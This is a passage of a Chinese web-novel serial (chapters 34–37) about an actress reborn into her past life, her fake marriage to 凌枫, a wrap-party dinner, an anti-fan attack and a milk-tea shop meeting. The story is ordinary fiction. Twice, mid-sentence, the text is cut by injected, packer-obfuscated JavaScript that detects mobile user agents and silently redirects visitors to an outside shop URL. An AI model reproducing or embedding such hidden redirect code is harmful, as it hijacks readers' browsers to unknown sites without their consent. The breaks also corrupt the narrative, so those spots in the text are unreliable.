“好多事情的走向超乎我的想象,你哥他……”常好好没再说下去,只好用啤酒堵住自己的嘴。 魏筝留下的信的内容始终在她脑海里挥散不去。她嘴上不说,心里却一直记着。 凌枫忽地低下头,手指有一下没一下地摩擦着啤酒罐,不知道在想些什么。 “诶?我说你一个大男人只看我喝?赶紧跟上我的节奏,先喝两罐。”常好好解决完两罐啤酒,这才发现凌枫一罐都没喝完,伸出手去,举起凌枫面前的啤酒罐,摇了摇,脸色变得不好看,“凌枫你好意思吗,搞了半天你压根没喝?” “喝了一口。”凌枫不紧不慢的回答,随即不等常好好继续骂他,动作利落喝光手里的酒,主动打开另一罐,并没有马上喝,而是抬眼看向常好好。 常好好看不懂凌枫突如其来的眼神变化,心里觉得莫名其妙,过了一会儿又有点心虚,下意识地咽了下口水,“你干嘛一直盯着我看?” 凌枫:“不是你的错。” 常好好愣住。 凌枫:“你刻意不提。可越是这样,越说明你心里在意。” 常好好听懂了凌枫的话。她感觉到心里升出一股暖流,双手杵着下巴,问道:“你会读心术啊?” 凌枫没回答这个问题,喝了一口酒,慢条斯理地说:“不要往自己身上揽,他们为了欲望迷失自己,与你没关系。” “嗯,你说得对。”常好好站起来举起啤酒罐,“为我们今后完成计划而干杯!” 十罐啤酒很快被常好好和凌枫消灭。常好好意识清醒,瞥见凌枫跟她状态差不多,借着上厕所的间隙,悄悄摸摸给脸颊打腮红。一切准备就绪,她深呼一口气,酝酿好情绪,回去打开冰箱又从里面拿出好几罐啤酒,重新坐回到位置上,“来,我们继续。” 凌枫倒是没拒绝,湿巾对着罐口擦一圈,也打开一罐。 两个人喝酒的速度极快,没过多长时间,第二批酒照样被他们解决。凌枫发现常好好红彤彤的脸蛋,在常好好想要起身拿酒前制止了她,“你喝多了。” “你说我?”常好好甩开凌枫的手,自顾自的站起来,指着自己的鼻头,“我千杯不醉,怎么可能喝多。”再转身,结果转大发了,脚下踉踉跄跄直奔沙发方向,顺着贵妃躺趴下去。 凌枫嘴角扯起一丝苦笑,无奈地摇了摇头,看了眼餐桌上七扭八歪的易拉罐,简单收拾了一下便来到常好好身边,微微弯下腰身。 就在这个时候,原本闭上眼睛的常好好忽然睁开双眼,冷不丁地坐了起来,表情严肃,手拍了拍身旁的位置,示意凌枫坐过来,一本正经的开口:“凌枫,快跟我说说你到底喜欢谁。”见凌枫毫无反应,她举起手指头,“你放一万个心,我不是大嘴巴,更不会往外说。”尽管看上去精神状态不好,一副醉醺醺的样子,可是语气听起来非常真诚。 “我喜欢谁,对你很重要吗。” “当然重要。”常好好完全进入到设定好的人物状态,眼皮眨巴眨巴的,声音里带着憨憨的傻笑,“我喜欢你嘛,肯定很好奇你喜欢的人是谁。” 凌枫不说话,她持续发问:“让我猜猜,是不是对方有男朋友?或者人家早结婚了?” 凌枫不接她的话,只留下一句:“睡觉吧。” 计划失败,白白喝了七罐啤酒,常好好别提多郁闷,脑袋晕晕沉沉,没心情再继续,回到卧室没多久便支撑不住困意,倒头睡下。 她做了一个梦,很长很长的梦。 梦里又是一团团迷雾,她被迷雾困在其中,无论如何都逃脱不掉。 35. 杀青 接下来的两个月里,常好好有大半时间处于半夜三点起床做妆发,录制节目录制十几个小时的生物钟里。 节目录制对她来说比演戏放松。 偶尔忍受缺心眼的明星同事输出一些脑残又装腔作势的言论,或者录制遇到突发问题,暂时中断录制,几个团队互相“扯头花”。 不过,这些跟她没一毛钱关系。淡定看戏的同时,还能欣赏台上的明星朋友坐在桌子前一口一个“阴阳怪气”。 另一半时间,她和凌枫都在努力进入结婚的状态里。应付凌家人和成家人的同时,他们不断磨合,时不时的来一场演技大比拼。 两个人的配合越来越默契。不刻意挑剔,真看不出来是假夫妻。唯一有难度是分场合演戏。 因为常好好合约没有到期,所以对外不能有恋情传出。 当他们在凌家和成家时,要适当表现出亲昵且自然的举动。 当他们在亲朋好友面前,要根据以前给自己安的人设,适当的调整二人的行为举动。 关关难过关关过。 现实生活中演戏,可比剧组里演戏难多了。好在这段时间的工作给常好好带来一个大惊喜。 惊喜是她提前认识了陆颂。 节目录制最后一期,除了演播室嘉宾外,节目中的素人嘉宾全部返场,演播厅一下子多了十几个人,大家随意站成两排。 冯媛和团队见节目制作成本升高,半路进入节目当嘉宾,妥妥的资源咖。 她跟常好好最熟,亲昵地挽着常好好胳膊,站到最近流量很猛的另一个女嘉宾身旁,明摆着想捆绑“好姐妹”蹭热度。 蹭热度就算了,还非要拉着常好好。 常好好在娱乐圈这么多年,怎能看不出她的小心思,眼睛扫视周围发现陆颂正往这边来,借抬手整理刘海的功夫,身体往后退了半步,蹲下身子假装高跟鞋不舒服,研究一会儿鞋。 等她再站起来,队形有了变化,她顺理成章地站到陆颂身边,远离塑料姐妹花冯媛。 因为是最后一期,工作人员忙到飞起,没关注到这一幕小插曲。不远处,角落里站着的一男一女却没有错过。 “那个冯媛不是善茬,把常好好入行以来遇到最好班底的一部剧用手段抢了去,啧啧啧,不愧是塑料姐妹花。” “为什么会被抢。” “因为成世泽啊,成世泽出事有太多人想借着机会把常好好手里和即将到手的资源抢过去。只是没料到冯媛跟常好好的交情那么深,下手却那么狠。” “你怎么确定一定是她。” “别忘了,我后来成为编剧了,虽说是短剧编剧,但也算半个娱乐圈人,其实圈里人门清,圈外不知道而已。”苏淼感叹道,“这些天我有默默观察常好好。她人不错,没架子,不把助理当牛马,只顾完成自己的事,很少参与其他争斗中。我有点好奇,好奇她这次演艺圈的路会不会跟之前重叠。” 凌枫视线始终关注着常好好的一举一动,但这不耽误他发言:“不用好奇,她打算退圈。” “怎么可能?”苏淼以为对方在开玩笑,很快反应过来,眼前的男人很少开玩笑。想到常好好的经历,她忽然明白了什么,长叹一口气,“她现在是热度飞升的新星,退圈好可惜。” “没什么可不可惜的。”凌枫不咸不淡地说了一句。 苏淼不懂凌枫话里的意思,懒得揣摩他的心思,撇了撇嘴,翻出手机里的备忘录,“你认为凌楷杀成世泽的概率有百分之十吗?” “不知道,我不是凌楷。” 早已习惯凌枫这种噎人的说话方式,苏淼完全不在意,大拇指快速打字,写完后嘴角上扬,将手机放回裤子口袋里,分析道:“人总要接触才知道,我怎么看常好好都不可能是凶手。至少在我眼里,凌楷嫌疑比她大。我们刚开始对她有所怀疑,所以才瞒着她,如今没必要再瞒下去。最好的解决方式是坦白,越早越好,这样我们的团队逐渐庞大,调查起来更省事。” “你不了解常好好,她看上去没有攻击性。实际上,”凌枫语气停顿,眯了眯眼,“很会伪装。” 苏淼愣了下,“我怎么没看出来,她伪装什么了?” “昨天她为了套我的话,刻意在脸上画腮红,让我以为她喝醉,好放松警惕。” “天啊?” “你很不能理解吧。” 苏淼的嘴微张,好半天才想起来合上。她瞥一眼凌枫,无语至极:“我是不能理解你。” 凌枫挑了挑眉,一副跟我有何关系的不解表情。 “你一个大男人竟然能看出来她画了腮红?”苏淼忍住笑,对凌枫从上至下扫描完毕,竖起大拇指,“你眼睛是尺啊。” 面对苏淼单方面的调侃,凌枫没那么在意。 他看到常好好即将下台时贴近陆颂耳边说了什么,即将说出口的话被他憋了回去。直到苏淼尽职尽责,准备去常好好身边,他才继续道:“你们认识两个月而已,你又怎知她对你表现出的那一面是真实的她?常好好不是一个简单的人。她的成长环境注定她不可能对刚认识不久的人敞开心扉,你在她面前少输出,我们按照原计划进行。” 苏淼是一个顾全大局的人。嘴上那样说,心里认可凌枫的说法,点了点头,朝常好好身边飞奔。 节目全部录制完毕。杀青晚宴上,常好好作为常驻嘉宾跟节目导演一桌用餐,她左边坐着同为常驻嘉宾的陆颂,右边坐着冯媛,斜对面是节目新增品牌商们。 毕竟是杀青聚餐,导演举起酒杯开始一段长篇大论,首先感谢了金主们,尤其强调新增的节目冠名商。他起身,说道:“凌总,我敬您一杯。” 新增的品牌商冠名为酷誉,来的人有凌枫和成世泽。 于是饭桌上开始寒暄模式,常好好见怪不怪,偶尔与人碰杯。由于凌枫与成世泽离开这桌,旁边的人大部分不见踪影,唯有陆颂始终坐在她身边,做着饭桌上应该做的事,时不时地伸出筷子夹菜,再慢慢咀嚼,仿佛周遭的嘈杂声不存在。 陆颂余光察觉到常好好对他的注视,抬眼,对常好好展露出笑容,“饭点不吃东西,等会儿肯定饿得难受。” 上一世,他也说过这句话。常好好笑了,发自内心的微笑,正要开口被陆颂手机传出来的震动声打断。 陆颂瞟了一眼屏幕,不动声色地拿起手机再倒扣在桌面,“好不容易休息,不想回复。” “万一是——” “没关系,不是重要的人、重要的事。”陆颂抢在她之前说。 苏淼:【快看陆哥笑得那个甜哦,啧啧啧……好虚伪的男人。】 作为常好好的保镖,晚宴这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318602|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场合需要站在常好好身后不远位置。眼下没人关注到她,闲着也是闲着,她发到群里一句话,明摆着想看热闹。 苏淼:【过分!陆哥装没看见?太没组织没纪律,只顾着和美女聊天,没空搭理我们?】 张韧:【陆颂和哪个美女聊天,不像他平时作风。】 苏淼:【常好好呗,还能谁。】 张韧:【凌枫呢?】 苏淼:【枫哥在应酬,没空理陆哥。】 张韧:【小陆,你不讲究。别人已经结婚,你没机会了,放弃吧!别忘记我们初衷,很多线发生改变,成世泽非常危险。】 苏淼:【小舅,你前面的话什么意思?】 张韧:【字面意思。】 苏淼:【啊???我勒个去!我明白了,陆哥对常好好居心不良?】 苏淼:【舅你真不够意思,我们俩有血缘关系,知道这个等级的劲爆消息竟然不告诉我?还是不是亲戚了?】 张韧:【没时间跟你闲唠嗑,我去处理工作了。】 苏淼:【你不是刚休假?人呢?再多说说呗。】 许是后悔说了不该说的话,张韧不再冒泡,群里变成苏淼一个人的大舞台。 【陆哥不会真的喜欢常好好吧?那可怎么办呀,常好好和枫哥结婚了,虽说是假夫妻,但红本本货真价实,再加上重生前枫哥的心思,保不齐以后假戏真做。】 【哎呀,要我说现实比小说狗血多了,不过我还是要感谢你们,谢谢你们给我提供灵感。】 【等你们看到群里内容后一定要冷静,千万别打起来呀,随便骂骂得了。】 苏淼这边发,陆颂那边手机直震得慌。手机主人不急,反而是旁边的常好好情绪被带动,憋回去套近乎的话,学着陆颂刚才的动作,拿起筷子随意吃了几口。 “有话直说就好,我为人好相处,没那么多讲究,你不用不好意思。” 陆颂说话非常直白,这点倒是和上一世如出一辙。饶是如此,常好好依旧没忍住,嘴角抽了抽,而后清了清嗓子,说道:“我认识一个小朋友,今年五岁多,他最近因为补课导致情绪不高,连往常最喜欢吃的零食都不感兴趣。你是专业的老师,我想问一下,像他这种情况用不用去看心理医生?” “确实该看看。” “好的,我改天带小朋友去你那看看。” 陆颂放下筷子,双手自然垂下,转头看向常好好,温和地笑笑,“我说的是他的父母。” “?” 他的话使常好好懵了,卷翘的睫毛忽闪忽闪的,一看就没听懂。 陆颂拿起湿巾擦了擦手,边擦边开口:“这些年我见过太多家长望子成龙,把自己的焦虑和苦恼转移到孩子身上。”稍作停顿,他继续道,“当然,具体问题具体分析,如果有需要你可以带着孩子家长来我的咨询室找我。” “真的吗,太好了。”常好好达到目的,露出一抹灿烂的微笑。笑容里五分真诚,五分刻意。 “聊什么呢,这么开心。”来人语气平静,但仔细听,能听出里面惨杂着一丝酸涩。 凌枫忽然出现在身后。陆颂看见那张熟悉得有点烦人的脸,皱了皱眉:“你走路不带声音?” 常好好看了一眼凌枫,又瞄了一眼陆颂,心里充满了疑惑,“你们俩……认识?” 36. 黑粉 是啊,上个月通过世泽认识。我们有许多共同语言,很快熟悉起来。”陆颂拍了拍他身旁的座位,朝凌枫轻抬下巴,示意明显,“坐下吃些东西吧。” 凌枫无视陆颂的动作,绕过陆颂直接坐在常好好身边的位置,没有拿起筷子的意思,“我想回家吃饭。”声音不大,足以让常好好和陆颂都听见。 瞧着右边那位男士肆无忌惮的表现,常好好第一时间环顾四周,果然发现有不少人目光投向他们,捂嘴说着什么。 她急得好像学会了腹语:“你是不是忘记合约里的内容?现在不能被发现,要是被我那个坑人的公司知道了,铁定狮子大开口。” 相比较之下,凌枫相当淡然,低下头小声说道:“你太在意,反而受到牵制。我们大大方方交流为何要怕,之前绯闻我已在网上做了澄清。” 对呀,在他们眼里,他们是认识多年的朋友。 常好好整个人放松了不少,余光瞥见男人淡定如常的脸,赶紧解释一番,“我担心不是为了违约款,只是怕我们这时候被曝光影响后续所有发展而已。” “嗯,我知道。”凌枫罕见的没有用毒嘴戳穿,他取出口袋里的手机,漫不经心地道,“他们不会猜到我们是夫妻。” 事实与凌枫预测的结果相差不大。八卦他们关系的人不少,但都不会想到结婚那层关系。 “看到没,凌总坐在常好好身边,俩人有情况?” “以前传过绯闻,后来被凌总辟谣不过是朋友聚餐,我记得当时原话说他们认识好多年了。” “常好好什么背景,居然跟凌总认识多年?看来不简单。” “谁知道呢,我总觉得他们两个磁场不太一样,感受不到朋友的氛围,明明很暧昧。” “不会的,真有啥事能在我们面前大大方方坐在一起?” 聊到这里,一男一女对视,随即往远处眺望,眼神带过几个人,再转过头互相递了个眼神。仿佛在说:“没错,真正有事的都在暗处装不认识呢。” 常好好对别人的视线非常敏锐,见大家关注度不在他们这边,暗自松了口气。怕陆颂看出端倪,找着话茬闲聊,两个话题过去,瞥到右侧身影还未离开。 寻思大大方方准没错,她把头转过去,主动提起有关酷誉产品的话题。为了想出一个不被陆颂发现问题的话题,她绞尽脑汁,结果话抛出去了,凌枫半天没反应,好似没听见,直接无视。 陆颂趁常好好转头的时间,快速用手指划开手机屏幕,点开信息通知,看完表情微妙,朝凌枫那边扫了一眼。他把一切看在眼里,转移视线,看着常好好说道:“凌总大概在忙着回复工作上的事宜。”意思是我们不要打扰他,让他自己忙去吧。 印象中,凌枫再怎么毒舌,再怎么不愿意理人也不是眼前这副样子。仔细看,他更像是被手机里的内容吸引。 常好好好奇心发作,恨不得探头看个究竟,碍于她与凌枫的“好朋友”身份,无奈作罢,安安静静坐在自己的位置上,偶尔与身旁的陆颂聊上几句。 凌枫目不转睛地盯着手机,群里的内容让他心里产生不适感。他眯了眯眼,克制住心底升出的离谱想法,更无法理解自己为何会在大庭广众之下分了神。他装作不经意间瞄向常好好那边,没有开口,没有其他多余动作,只是平静地起身离开。 晚宴终于结束。 走出电梯去到停车场,苏淼揉着小腿肚,嘴里嘀咕着:“刚才快要站不住,这活真不好干。” “辛苦了。”常好好手里提着长裙上车,屁股没坐稳,听见外面传来助理的惊呼声,紧接着又出现一道不大不小的闷哼声。她赶紧走下车,发现一个年轻男子被苏淼按在地上,龇牙咧嘴的,好像被按到痛处。 她急忙道:“怎么了?他是谁?” 苏淼将头上的发带摘下,绑住男人双手,手没有松力,仍旧死死地按住,“居心叵测的人,奔着我们的车跑过来,手里还拿着一桶钉子。” 黑粉? 常好好仔细观察男人的脸,看上去年龄不大,二十岁左右。 助理打完电话,说:“好好姐,菲姐说公司已经报警,一会儿麻烦你跟着去趟派出所。” 插曲过后,回到家比想象中晚。苏淼作为保镖尽心尽责,几乎贴身送常好好回家。她打开门,发现门口地毯上放着一双运动鞋。 常好好顺着她的目光一看,连忙解释:“我朋友在我家住。” “原来如此。”苏淼不打算拖鞋,手已搭在门把手,想到停车场的画面,手拿下来,轻声叮嘱,“好姐,以后出门前提前跟我说,我随叫随到。好在公司对你还可以,说报警就报警。” “呵呵。”常好好嗤笑,“与其关心我的人身安全,公司更注重这件事被媒体和营销号报道后的热度和舆论走向。我只是个工具人。” “是我单纯了,真没想到这点。” “不重要,今天多谢你。”常好好摇了摇手机。 苏淼眼睛呆愣愣的,显然没明白对方的意思,直到手机发出一道声音—— “支付宝到账五千元。” 她才倒吸一口气,抿了抿唇,好像要控制住疯狂上扬的嘴角,“好姐,您这样……我……不太好吧。”嘴上如是说,手非常诚实,点开通知音确定是否到账。 “谢谢你救了我,否则后果不堪设想。”常好好把苏淼的一举一动看在眼里,笑了笑说,“一点心意,你收下吧。” 虽然但是,这份心意苏淼很喜欢。 常好好挥了挥手,示意苏淼进来坐坐,“你身手不错,比我想象中还要厉害,进来休息会儿吧。” 苏淼深深地看了一眼脚前放着的运动鞋,停顿两秒,最终脱下外鞋,穿上常好好为她现找出来的米色拖鞋,朝客厅方向走去。 她的视线不经意间扫向周围,带着笑意说:“被你夸得不好意思,不过上了五年格斗课,身手过得去吧。” “羡慕你,我小时候想学,但是被家里人拒绝,上大学后更加没有精力。”常好好去厨房简单洗了个手,趁着这个间隙给沈骁发去一条信息,拿出零食柜里的零食和早已放在餐台上的一大盘水果,转身露出自然的微笑,将吃的全放在苏淼前面的茶几上,轻轻推了推,“赶紧吃点东西,我看你好长时间没吃饭,能行吗。” 苏淼当了常好好整整一天保镖,全程尽职尽责,休息时间很少,吃饭时间也不多。本来想着最近减肥,能少吃点就少吃点,眼神一瞟,面前的食物太具有杀伤力,没忍住,不客气地吃上,吃的时候嘴不闲着,“话不能这么说,人生不设限。只要你想,现在学同样来得及。” 她说话的风格以及整个人的洒脱感,总让常好好想到一个人。 “好好,我今天终于见到活的你了。” 大嗓门虽迟但到。常好好无语地扯了扯唇角,意识到刚才的想法有误。目前看来,苏淼说话可比沈骁正常多了。 沈骁眼珠子滴溜溜地转,心里面各种小九九,目光定格在苏淼的脸上,“咦?这位是?” 这些日子里,团队几个人的演技都有了质的飞跃。先不说凌枫和安燃,就连沈骁演起戏来都极度入戏,拉着苏淼开始唠起闲嗑。 计划赶不上变化。起初常好好的目的仅仅是为了让苏淼与沈骁打个照面认识一下,谁成想两个人一见如故。 对此,她喜闻乐见,“你们俩很合得来。” “确实,没想到你也是个写文的,滨城可真小。”苏淼望着沈骁,眼里满是好奇和惊喜,“我从小在滨城长大,但知心的好朋友不多。一共俩人,另外一个朋友现不在滨城,没想到今天跟你见面特别开心,总感觉我们在哪里见过。” 苏淼跟在自家小舅张韧身边学到了不少,其中编瞎话技能最为熟练,拉着沈骁的手不放,两个人侃侃而谈。 这一幕让常好好感到新奇,她本能地拿起手机,想要为不是双胞胎却胜似双胞胎的沈骁与苏淼拍照,划开手机屏幕才发现凌枫发来一条消息。 【毒舌枫神:在做什么。】 常好好眉心皱在一起,边思考边打字,回复一条消息。 短短几秒钟,铃声忽地响起,她被声音吓得一激灵,手机差点没拿稳。 沈骁和苏淼瞬间止住聊天,不约而同地抬头,把目光投向常好好。 常好好扯出一抹笑,手指指向手机屏幕,“我去接个电话。” 话落,小跑到距离客厅最近的书房,顺手关上房门,迅速接通了电话:“喂?怎么了?”她的语气中带着焦急。 寻常情况下,凌枫不会一个电话打过来。除非遇到了突发事件。她难免胡思乱想,胸腔内扑通扑通的,手心很快渗出汗,小心翼翼地问:“成世泽没事吧?” 电话那边的人说起话来不紧不慢,“晚宴上他不仅吃好喝好,我估计现在已经躺在他的大床上进入梦乡。” “……” 人果然相处之后才会有所了解。 常好好越发觉得自己曾经眼神有问题,男人怎么从高冷毒舌型变成贱兮兮毒舌型。 莫不是精分了? “喂?你那边信号不好?”凌枫问。 常好好深呼出一口气,尽量用平和的语气:“请问你打电话来的意义是什么?” “我妈今晚可能会偷袭,麻烦你有时间跑一趟。” “跑哪里?” 电话那边安静了一会儿。常好好说出口的同时一下明白凌枫的意思。她以为凌枫接下来会说“你说能跑哪里?”或者“你是不是又喝酒,喝迷糊了。”诸如此类的话。 结果出乎她的意料,凌枫简单输出两个字:“我家。” 凌枫一系列行为让人猜不透。这种猜不透与以前那种猜不透有本质上的区别。常好好歪着脑袋,陷入了思考。她总觉得凌枫很奇怪,却无法用语言形容到底奇怪在哪。 带着好奇和疑惑,她来不及和沈骁解释,当着苏淼的面告诉她们今晚不在家里住。苏淼和沈骁听了,说什么都要保护在她身边。 就这样,俩人一左一右,护在她身侧,直到她的脚迈进凌枫家里才搭伴离开。 耳根子终于清净,常好好脱下短靴,穿上凌枫提前准备好的粉色小熊拖鞋,包随意甩到鞋凳上,自觉去卫生间洗手。 不多时,推门出来,边走边道:“苏淼知道我们的关系。”不是疑问,不是反问,是肯定。 “我没和你提起过?”凌枫弯腰拿茶杯的动作有轻微的停顿,挺直腰身,淡定地喝一口茶水,咽下去后,他道,“我记得我说过。” 在这跟她装傻呢?常好好忍住翻白眼的冲动,很快摆了摆手,“算了,无所谓。你说她靠谱,我相信你。” 凌枫下意识看向常好好。他没发现,他的嘴角不自觉地上扬,脸庞变得柔和。 常好好心里面有事,关注点不在凌枫身上。担心方琴下一秒出现在眼前,她快速取出从家里特意拿来的花边蕾丝睡衣,跑到卧室。 一切准备就绪。 她上半身贴在沙发背,蜷着腿坐在沙发正中间,心里踏实下来,深吸一口气,再慢慢地呼出来,视线终于放在凌枫那边,“可以了,我准备好了。” “?” 凌枫不明所以。 常好好有种不好的预感:“阿姨呢,到哪了?” “不知道。” “什么?”常好好急得身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323136|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体往前倾,“你这话什么意思?” 凌枫再次喝了一口水,眼神躲闪,低下头,整理胸前衣服上压根不存在的灰尘,“我电话里对你说可能今天来,没说一定来。” “……” 常好好一脸懵圈,缓了缓,回忆不久前电话里的对话,胸口堵得慌。 对方确实说了“可能”二字。 心底里那一团火被她强行熄灭,身子顺势往左侧倒,说起话来有气无力:“你知道刚才我来你这儿的路上,多不容易吗?” 凌枫不知从哪里拽出小的不能再小的毛线头,掸到垃圾桶内,目光依旧没有看向常好好,“是我欠考虑,下次我去接你。” 事实上,凌枫立即想去接常好好,脚已经踏出大门,被苏淼一连串信息轰炸。他隐约看出苏淼的意思,所以没有拒绝,最后原路返回到家里。 常好好挪了挪屁股,找了个更舒服的姿势,伸出右手食指,左右晃了晃,“你没明白,重点不是这个。”她顿了顿,“苏淼和陈舒悦是朋友。” “陈舒悦?”凌枫重复一遍,眉头轻蹙,显然脑海里早把这个人物遗忘,“我不太了解,可能是苏淼新认识的朋友。” “没错,确实认识不久。苏淼跟我们聊到她跟陈舒悦相识相知全过程。虽然她们认识时间不长,但感情稳固。”常好好一路听沈骁和苏淼“说相声”,耳朵受到了煎熬,却不白遭罪,得到意外收获。 她眼前一亮,起身说,“前些天忙着工作,没有时间。明天我想去蓝时奶茶店里看看陈舒悦。” 重生后的这段时间发生了很多事,也改变了很多事件走向,可常好好心里始终没底。 每当她陷入焦虑,担心无法改变成世泽的命运时,都会立刻想到陈舒悦,瞬间焦虑消失一大半。 围绕在陈舒悦身上的改变对常好好有重大意义。 凌枫一眼看出常好好的心思。他道:“我知道,你希望陈舒悦一直相安无事。” “嗯,她的出现证明成世泽同样有希望逃脱上一世的命运。”常好好从沙发上爬起来,直视凌枫双眼,“凌枫,我们一定可以做到的,对吧。” 这次,凌枫没有躲避,迎上常好好的目光:“对,一定可以。” 二人四目相对,久久未出声。凌枫率先移开视线,话锋一转:“你合约到期前还有哪些安排?” “暂时没有,下个月应该会有广告拍摄,进组不太可能了。” “这么笃定。” “我了解林菲。她想说服我续约,必然会提前跟公司沟通,所以下部戏非常重要。首先制作不能太小,其次角色不能当炮灰,哪怕是女三号甚至女四号,总之人设讨喜,人物一定要有亮点。”常好好露出志在必得的笑,“符合的本子少之又少,哪那么好找。不说一年,至少半年,够她选一阵的了。” 演艺圈每年有姓名的大制作就那么几部。常好好脑袋里记得清清楚楚,想要从中找出一个适合她的出圈角色非常难。 “重生前的这时候我拍的都是小现偶,从来没接触过大制作,我不信林菲能在短时间内找到,这段时间我可以好好休息,呆在酷誉观察成世泽周围的可疑人物。” “嗯,你不用太担心。我已安排保镖隐藏在成世泽身边。” 常好好好奇心发作,眼睛瞪得贼老大:“谁啊?有多隐藏?” “你不认识。”凌枫去到厨房,随后从那边走回来,手里握着一杯金灿灿的水,递给常好好,“我新榨的果汁,你尝尝。” 常好好抿一小口,发现味道不错,开始大口喝,最后整杯进肚,望着茶几出神。 凌枫转身拿纸巾的功夫,回过头来,玻璃杯里的果汁一滴不剩。他顿了下,拿走空杯。 常好好仍没回过神,满脑子都是魏筝信里的内容。 近两个月忙碌的工作让她暂时克制,不要过多焦虑。如今停下来,很难不再捡起来联想。 印象里,成世泽小时候总是围着她转,成年后因为各种原因减少了联系。 从前没多想,难道成世泽真的对她有其他想法?常好好想着想着,头隐隐作痛。 “想什么呢。”一道声音打断她的联想。 常好好闻声抬起头,看到凌枫端着金灿灿的果汁递给她。动作、表情跟刚才一模一样,唯一的区别是这次凌枫没出声。 卧槽?是她大脑出现bug,还是陷入了循环?她的脸一阵青一阵白,“你是不是忘了一句话。” 凌枫不解地挑了挑眉。 常好好接过杯子,没立即喝下去,圆圆的眼睛盯着凌枫说:“正常情况,你不是应该说新榨的果汁,让我尝尝吗。” “你是不是头不舒服。” 凌枫没有顺着她的话接下去,反而开口关心她。常好好心里一暖,脸颊自然泛起红晕,低声回应着:“好像是有——”话没说完,温暖的手掌覆在她额头,让人慌了心神。 刚才想说啥完全忘到一边,脑袋更加昏沉,不敢抬头看凌枫的眼睛,默默将果汁喝掉。 “还好没发烧。思虑过重头会痛,你好好休息,睡个好觉。”凌枫收回手掌,拿起空杯,“今天只做了两杯的量,下次多给你榨点。” 常好好从这句话中找到了重点,“所以,这是第二杯?”看见对方点头,她捂住胸口,稍微松了口气,“好喝是好喝,但是喝太多会胖。” “你已经很瘦了。”凌枫声音放柔,“饿了吗,我可以给你煎蛋或煎烤肠。” 天啊,眼前这位还是她认识的凌枫吗?不会真精分了吧,现在是第二人格? 常好好怀疑这一幕是错觉,冷静下来,小脸绷紧,问道:“你现在是演戏还是真心?” 37. 打探 “或许……都有吧。”凌枫说完便转身朝厨房方向迈步而去。 常好好彻底懵了。 刚才他那是什么意思,真心假意各掺一半? 今日并未等到方琴突击检查。 常好好躺在不太熟悉的大床上,翻来覆去睡不着。不是多认床,而是心里始终记着凌枫那句暧昧不清的话。干脆坐起来,一把拿起放在床头柜上的手机,解开手机壳,取出藏在里面的凌枫的照片。 “难道他跟我一样,不过是为了方便接近,所以一直在演戏?”她喃喃自语。 第二天中午,常好好简单画了一个淡妆,头戴鸭舌帽,披上黑色长皮衣,踩着黑色小短靴出门。 十点五十五分,提前五分钟到达蓝时奶茶店,坐在苏淼对面,沈骁的右侧,陈舒悦的斜对面。 四个女人在一个桌上闲聊。 “这样啊,你不在这兼职了。” “是啊,我找到了一个我很喜欢,也很适合我的稳定工作。”说到这,陈舒悦脸上挂着的笑渐渐减弱,“说实话,心里有些舍不得蓝时。我从大一开始兼职,这么多年过去,需要时间适应。” 苏淼拍了拍陈舒悦的手背,“天下没有不散的宴席,你要向前看嘛。”顺势举起奶茶,“来!我们一起恭喜你找到新工作。” 得到陈舒悦离开蓝时奶茶店,常好好心里超级激动,万分感谢苏淼庆祝的时机,跟随大家举起奶茶。 从她的视角切入,陈舒悦离开蓝时奶茶店,相当于真的脱离了上一世的悲剧。 今天对她来说无疑是幸运的一天,一切都刚刚好。 常好好嗦了一口珍珠,趁陈舒悦和苏淼对视聊天的间隙,桌下的脚轻轻碰了碰只顾着喝奶茶、吃糕点的沈骁。 沈骁被踹了一脚,抬起懵逼的脸,无辜地眨着眼睛。 看见陈舒悦和苏淼即将转头,常好好快速给沈骁递了一个眼神,视线转移到陈舒悦脸上,展露出灿烂的微笑,翻出手机软件里的二维码,举到陈舒悦身前,“舒悦,我身边有个朋友最近很苦恼,每天浑浑噩噩没有精气神。我们留个联系方式吧,等有时间我带他去咨询师找你。” “可以啊。”陈舒悦拿手机扫了一下二维码,添加通过后,她道,“麻烦你把你朋友的年龄和工作告诉我一下。” “五岁。学龄前儿童。” “……” “……” “……” 三脸懵圈。 不止陈舒悦和苏淼惊讶得说不出话,连沈骁都被常好好的回答震撼住了。 别说,仔细想想,好像回答的没毛病。 “五——”陈舒悦非常罕见地说话磕巴,“五五岁?” “是啊,沈骁也认识他。那小孩现在特别可怜,每周补四门不同的课程,我看着都头晕,何况他就是个五岁小朋友。” 沈骁稍微缓过神,跟着附和道:“对对,我每天负责接送小嘉晨。哎,确实可怜。”越演越来劲,顺带着抽出纸巾盒里的纸巾擦拭几乎没有眼泪的眼睛,假了吧唧地吸了吸鼻子,略带哭腔,“他不过是个小孩子,天天压力巨大,每天早上看见我露出苦笑,真的太可怜了。” ……是不是有点过了。 常好好的笑容多少有点难看,担心沈骁演过导致不好收场,她赶紧往回收,“家长心急了些,以至于忽略了孩子的感受。” “好的,等他们确定来,你提前通知我,我好准备资料。”陈舒悦嘱咐道,“记得家长一定要跟着来。” 沈骁演着演着,真让她挤出点眼泪,这会儿正擤鼻涕。听到陈舒悦的话,急着问:“我陪他吧,我陪他不行吗?” 陈舒悦摇了摇头,“家长不来不解决问题,你可以同家长一起过来。” 沈骁和常好好默契对视,异口同声地说:“好。” 